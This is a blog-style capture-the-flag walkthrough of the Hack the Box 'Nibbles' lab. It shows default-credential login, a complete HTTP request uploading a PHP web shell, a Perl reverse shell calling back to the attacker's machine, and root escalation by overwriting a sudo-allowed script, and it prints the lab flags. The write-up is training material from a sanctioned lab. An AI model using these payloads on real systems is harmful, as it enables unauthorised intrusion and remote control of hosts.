Hack the Box Nibbles Walkthrough – First HtB!

I recently solved the Hack the Box Nibbles box and wanted to share my walkthrough.

Hack the Box Nibbles – Introduction

If you are not familiar with Hack the Box, it is an online set of pentesting labs. There are a few different boxes and tiers, but I got access to a dedicated lab from some Faraday training.

I’ve never been in this lab before, but I’ve heard a lot of good things about it.

HtB reminds me of an online VulnHub, so hopefully I’ll be able to solve a few more boxes during my 30-day access.

Enumeration

First, I found that port 80 was open on my target at http://10.10.10.75/.

In the source code of the page, I found a comment referencing a nibbleblog directory.

<!-- /nibbleblog/ directory. Nothing interesting here! -->

When I visited the http://10.10.10.75/nibbleblog/ link, it brought me to the home page for a nibbleblog.

Hack the Box Nibbles - Blog

With a bit of research and searching, I found where the admin page could be found and some potential default credentials.

admin  //  nibbles

I visited the admin page at http://10.10.10.75/nibbleblog/admin.php and was able to login.

Hack the Box Nibbles - Admin

Hack the Box Nibbles – Exploitation

With access to the admin panel, it was time to get a shell on the box.

I found an exploit and the actual write-up that looked perfect for this challenge.

First, I uploaded my PHP shell to the my_image plugin.

POST /nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image HTTP/1.1
Host: 10.10.10.75
Content-Length: 1241
Cache-Control: max-age=0
Origin: http://10.10.10.75
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2nivcPbQVLdlnh6l
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://10.10.10.75/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Cookie]
Connection: close

------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="plugin"

my_image
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="title"

My image
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="position"

4
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="caption"


------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image"; filename="Simple-Backdoor-One-Liner.php"
Content-Type: text/php

<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_resize"

1
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_width"

230
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_height"

200
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_option"

auto
------WebKitFormBoundary2nivcPbQVLdlnh6l--

Next, I sent a request to the newly uploaded image.

GET /nibbleblog/content/private/plugins/my_image/image.php?cmd=%70%65%72%6c%20%2d%65%20%27%75%73%65%20%53%6f%63%6b%65%74%3b%24%69%3d%22%31%30%2e%31%30%2e%31%34%2e%32%22%3b%24%70%3d%34%34%34%34%3b%73%6f%63%6b%65%74%28%53%2c%50%46%5f%49%4e%45%54%2c%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%67%65%74%70%72%6f%74%6f%62%79%6e%61%6d%65%28%22%74%63%70%22%29%29%3b%69%66%28%63%6f%6e%6e%65%63%74%28%53%2c%73%6f%63%6b%61%64%64%72%5f%69%6e%28%24%70%2c%69%6e%65%74%5f%61%74%6f%6e%28%24%69%29%29%29%29%7b%6f%70%65%6e%28%53%54%44%49%4e%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%4f%55%54%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%45%52%52%2c%22%3e%26%53%22%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%22%29%3b%7d%3b%27 HTTP/1.1
Host: 10.10.10.75
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Cookie]
Connection: close

If you can’t tell from the URL encoding, this is a basic Perl reverse shell.

perl -e 'use Socket;$i="10.10.14.2";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

On my attacker box, I was able to catch the shell, and obtain the user level flag!

[email protected]:~/HtB/Nibbles# nc -lvp 4444
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
$ cd /home/nibbler
$ ls -al
total 20
drwxr-xr-x 3 nibbler nibbler 4096 Dec 29  2017 .
drwxr-xr-x 3 root    root    4096 Dec 10  2017 ..
-rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10  2017 .nano
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 Dec 10  2017 user.txt
$ cat user.txt
b02ff32bb332deba49eeaed21152c8d8

Note: in addition to just guessing that the username was admin, I could have visited the http://10.10.10.75/nibbleblog/content/private/users.xml page.

<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">0</session_fail_count>
<session_date type="integer">1576785626</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
<blacklist type="string" ip="10.10.14.2">
<date type="integer">1576784799</date>
<fail_count type="integer">2</fail_count>
</blacklist>
</users>

Privilege Escalation

With user level privileges, it was time to escalate to root.

First, I checked out my sudo privileges. As you can see, I had access to run one shell script in my home directory.

$ sudo -l

sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

After unzipping that personal.zip archive from earlier, I looked at the monitor.sh script.

                  ####################################################################################################
                  #                                        Tecmint_monitor.sh                                        #
                  # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/      #
                  # If any bug, report us in the link below                                                          #
                  # Free to use/edit/distribute the code below by                                                    #
                  # giving proper credit to Tecmint.com and Author                                                   #
                  #                                                                                                  #
                  ####################################################################################################
#! /bin/bash
# unset any variable which system may be using

# clear the screen
clear

unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

while getopts iv name
do
        case $name in
          i)iopt=1;;
          v)vopt=1;;
          *)echo "Invalid arg";;
        esac
done

if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed"
}
fi

if [[ ! -z $vopt ]]
then
{
echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License"
}
fi

if [[ $# -eq 0 ]]
then
{


# Define Variable tecreset
tecreset=$(tput sgr0)

# Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"

# Check OS Type
os=$(uname -o)
echo -e '\E[32m'"Operating System Type :" $tecreset $os

# Check OS Release Version and Name
cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease
echo -n -e '\E[32m'"OS Name :" $tecreset  && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\"
echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\"

# Check Architecture
architecture=$(uname -m)
echo -e '\E[32m'"Architecture :" $tecreset $architecture

# Check Kernel Release
kernelrelease=$(uname -r)
echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease

# Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME

# Check Internal IP
internalip=$(hostname -I)
echo -e '\E[32m'"Internal IP :" $tecreset $internalip

# Check External IP
externalip=$(curl -s ipecho.net/plain;echo)
echo -e '\E[32m'"External IP : $tecreset "$externalip

# Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}')
echo -e '\E[32m'"Name Servers :" $tecreset $nameservers 

# Check Logged In Users
who>/tmp/who
echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who 

# Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache
echo -e '\E[32m'"Ram Usages :" $tecreset
cat /tmp/ramcache | grep -v "Swap"
echo -e '\E[32m'"Swap Usages :" $tecreset
cat /tmp/ramcache | grep -v "Mem"

# Check Disk Usages
df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage
echo -e '\E[32m'"Disk Usages :" $tecreset 
cat /tmp/diskusage

# Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')
echo -e '\E[32m'"Load Average :" $tecreset $loadaverage

# Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,)
echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime

# Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

# Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage
}
fi
shift $(($OPTIND -1))

When nothing jumped out at me as vulnerable, I also looked at the permissions. Since I could overwrite the monitor.sh script, I created a backup, and wrote a new one that would execute /bin/bash.

$ ls -al
total 12
drwxr-xr-x 2 nibbler nibbler 4096 Dec 10  2017 .
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10  2017 ..
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 monitor.sh
$ cp monitor.sh monitor_bak.sh
$ echo '/bin/bash' > monitor.sh

When I executed the new monitor.sh script using sudo, I successfully escalated to root!

$ sudo ./monitor.sh
id
sudo: unable to resolve host Nibbles: Connection timed out
uid=0(root) gid=0(root) groups=0(root)

And, as root, I was able to obtain the second flag on the box.

cat /root/root.txt
b6d745c0dfb6457c55591efc898ef88c

Hack the Box Nibbles – Conclusion

This was one of the simpler boxes based on both my experience, as well as the user voting. That said, I’m glad that I got to try it, and was impressed with the HtB UI and infrastructure.

I’m hoping to knock out a few more boxes during my lab access, so stay tuned.

If you have any suggestions for interesting boxes, or ones that would make a good write-up, then let me know.

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